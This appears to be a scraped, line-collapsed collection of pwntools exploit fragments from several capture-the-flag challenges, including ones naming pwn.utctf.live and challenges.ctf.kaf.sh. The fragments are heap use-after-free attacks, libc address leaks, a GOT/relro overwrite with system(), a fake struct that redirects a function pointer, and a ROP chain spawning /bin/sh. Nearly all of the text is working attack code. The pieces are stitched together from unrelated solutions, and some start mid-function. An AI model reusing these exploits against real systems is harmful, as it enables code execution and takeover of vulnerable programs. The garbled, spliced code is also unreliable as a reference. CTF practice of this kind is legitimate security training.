def zero_unpack_list(payload): zero_info = ord(payload[0]) zero_basic_types = BITS(zero_info, 0, 3) assert zero_basic_types == 5 zero_list_type = BITS(zero_info, 3, 4) zero_list_len = BITS(zero_info, 4, 8) ret = [] if zero_list_type == 0: payload = payload[1:] for i in xrange(zero_list_len): wtf = zero_unpack(payload) if type(wtf) == tuple: payload = wtf[1] ret.append(wtf[0]) else: ret.append(wtf) #log.debug('aaaaaaaaa {}'.format(ret)) else: if zero_list_len >= 6: return 0 else: list_len = unpack(payload[1:1 + zero_list_len], 8 * zero_list_len, endian='little') payload = payload[1 + zero_list_len:] for i in xrange(list_len): payload = zero_unpack(payload) return ret
def zero_unpack_int(payload): zero_info = ord(payload[0]) zero_basic_types = BITS(zero_info, 0, 3) assert zero_basic_types == 4 zero_int_type = BITS(zero_info, 3, 4) zero_int_len = BITS(zero_info, 5, 8) + 1 zero_int_endian = BITS(zero_info, 4, 5) data = unpack(payload[1:1 + zero_int_len], 8 * zero_int_len, endian='big' if zero_int_endian == 1 else 'little') if len(payload) == 1 + zero_int_len: return data else: return data, payload[1 + zero_int_len]
def zero_unpack_raw(payload): zero_info = ord(payload[0]) zero_basic_types = BITS(zero_info, 0, 3) assert zero_basic_types == 3 zero_raw_type = BITS(zero_info, 3, 4) zero_raw_len = BITS(zero_info, 4, 8) raw_len = 0 if (zero_raw_type == 0): data = payload[1:1 + zero_raw_len] else: raw_len = unpack(payload[1:1 + zero_raw_len], 8 * zero_raw_len, endian='little') data = payload[1 + zero_raw_len:1 + zero_raw_len + raw_len] if len(payload) == 1 + zero_raw_len + raw_len: return data else: return data, payload[1 + len(data):]
def __init__(self, is_remote=False): if not is_remote: self.s = pwn.process("./monke") self.libc = pwn.ELF("/usr/lib/libc.so.6") else: self.s = pwn.remote("pwn.utctf.live", 9999) self.libc = pwn.ELF("libc-2.27.so") self.banana_unlocked = False # Walk until we have bananas print(self.walk("s")) self.banana_unlocked = True print(self.walk("s")) # Create a dummy banana self.take_banana("A"*0x10) # Now go to the 4th dimension so we can delete bananas self.banana_unlocked = False print(self.walk("k")) # Walk until we find new bananas print(self.walk("n")) print(self.walk("n")) print(self.walk("n")) # This time we get bananas self.banana_unlocked = True self.walk("n") # Trigger the UAF self.eat_banana(0) self.take_banana("A"*0x10) # Now try to get a glibc leak self.s.sendline("2") self.s.sendline("0") self.s.recvuntil("rename]:\n") self.s.sendline("rename") self.s.recvuntil("like to name it:\n") FGETS_ADDR = 0x602018 self.s.sendline(pwn.pack(FGETS_ADDR,64) + pwn.pack(0x8, 64)) self.eatmessage() self.s.sendline("2") print(self.s.recvline()) print(self.s.recvline()) glibc_leak = self.s.recvline()[3:-1] print(glibc_leak) glibc_base = pwn.unpack(glibc_leak, len(glibc_leak)*8) - self.libc.symbols['free'] print(hex(glibc_base)) SYSTEM_ADDR = glibc_base + self.libc.symbols['system'] # Rename the second banana, which will write into free relro entry self.s.sendline("1") self.s.recvuntil("rename]:\n") self.s.sendline("rename") self.s.recvuntil("like to name it:\n") self.s.sendline(pwn.pack(SYSTEM_ADDR, 48)) self.eatmessage() self.take_banana("/bin/sh") self.s.sendline("2") print(self.s.recvline()) print(self.s.recvline()) print(self.s.recvline()) print(self.s.recvline()) self.s.sendline("2") print(self.s.recvline()) self.s.sendline("eat") self.s.interactive()
# send title s.sendline("a") print(str(s.recvuntil('Content > '), 'ascii')) # send content s.sendline(buf) print(str(s.recvuntil('Choice number > '), 'ascii')) # Trigger UAF by displaying first quote (which contains our crafted quote_t) s.sendline("3") print(s.recv()) s.sendline("1") # Compute system() address leak = s.recvline() puts_leak = leak[4:4 + 6] addr = pwn.unpack(puts_leak, len(puts_leak) * 8) libc_base = addr - libc.symbols["printf"] system_addr = libc_base + libc.symbols["system"] print("%x" % system_addr) # Edit the second quote so we can control first's quote buf s.sendline("4") s.recv() s.sendline("2") # Craft our content buffer b = b"/bin/sh\x00" + pwn.pack(1, 64) # Padding to reach function pointers b += b"A" * 16 b += pwn.pack(system_addr, 64) * 2 s.sendline(b) s.recvuntil('Choice number > ')
#!/usr/bin/python import pwn # abs addr is 0x7f6e093b6640 on server # find it on libc database # then get https://libc.blukat.me/?q=abs%3A640&l=libc6_2.23-0ubuntu11.2_amd64 sh_hex = pwn.unpack(b"sh\x00\x00", 32) f = pwn.remote("pwn.utctf.live", 5432) f.recvuntil(": ") f.sendline("1") f.recvuntil(": ") f.sendline("%d" % sh_hex) print(f.recvline()) print(f.recvline()) print(f.recvline()) print(f.recvline()) abs = f.recvline() abs_addr = int(abs[7:-1], 16) system_addr = abs_addr + 0xad60 f.sendline("%x" % system_addr) print(f.recvline()) print(f.recvline()) print(f.recvline()) f.sendline("%x" % system_addr) f.interactive()
def unpack_all(data): return pwn.unpack(data, len(data) * 8, endian='big', sign=True)
p.recvuntil(b"> ") p.sendline(employee_new_name) p = remote("challenges.ctf.kaf.sh", 8000) #p = process('./shadowstuck', env={"LD_PRELOAD":"./libc-2.31.so"}) libc = ELF('./libc-2.31.so') base_shadowstack = int(p.recvline().split(b'at ')[1][:-1], 16) print("[+] Shadowstack @ 0x%x" % base_shadowstack) add_employee("Mike") #0 fire_employee("Mike", b'a' * 0x10 + pack(base_shadowstack)[:-2]) leak = unpack(read_employee(1).ljust(8, b'\x00')) print("[+] Leak libc @ 0x%x" % leak) libc.address = leak - 159923 print("[+] Libc @ 0x%x" % libc.address) pop_rdi_gadget = libc.address + 0x26b72 change_employee(1, pack(pop_rdi_gadget).rstrip(b'\x00')) assert unpack(read_employee(1).ljust(8, b'\x00')) == pop_rdi_gadget rop = b"aaaaaaaaaaaaaaaaaaaaaaaaa" #padding rop += pack(pop_rdi_gadget) rop += pack(next(libc.search(b'/bin/sh'))) rop += pack(pop_rdi_gadget + 1) #for stack alignment rop += pack(libc.symbols['system'])
def __unpack(self, endian): return unpack(self.raw_data, self.byte_num * 8, endian=endian)
def build_fake_quote(content_ptr, content_size, title_ptr, title_size, write_ptr, read_ptr): return pack(content_ptr) + pack(content_size) + pack(title_ptr) + pack( title_size) + pack(write_ptr) + pack(read_ptr) add_quote("aaaaaaaa", "AAAAAAAA") #1 add_quote("bbbbbbbb", "BBBBBBBB") #2 add_quote("cccccccc", "CCCCCCCC") #3 add_quote("dddddddd", "DDDDDDDD") #4 delete_quote(1) delete_quote(2) add_quote( "eeeeeeee", pack(puts_got_plt), 8, sizeof_quote_t ) #2 #3 pointent vers la meme quote, notre content occupe la meme place sur la heap que #1 puts_leak = unpack(get_quote(1)['content'].ljust(8, b'\x00')) libc.address = puts_leak - libc.symbols['puts'] print("[+] Libc base address : 0x%x" % libc.address) print("[+] System address : 0x%x" % libc.symbols['system']) edit_quote( 2, build_fake_quote(unpack(b'/bin/sh;'), 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, libc.symbols['system'])) get_quote(1, True) p.interactive()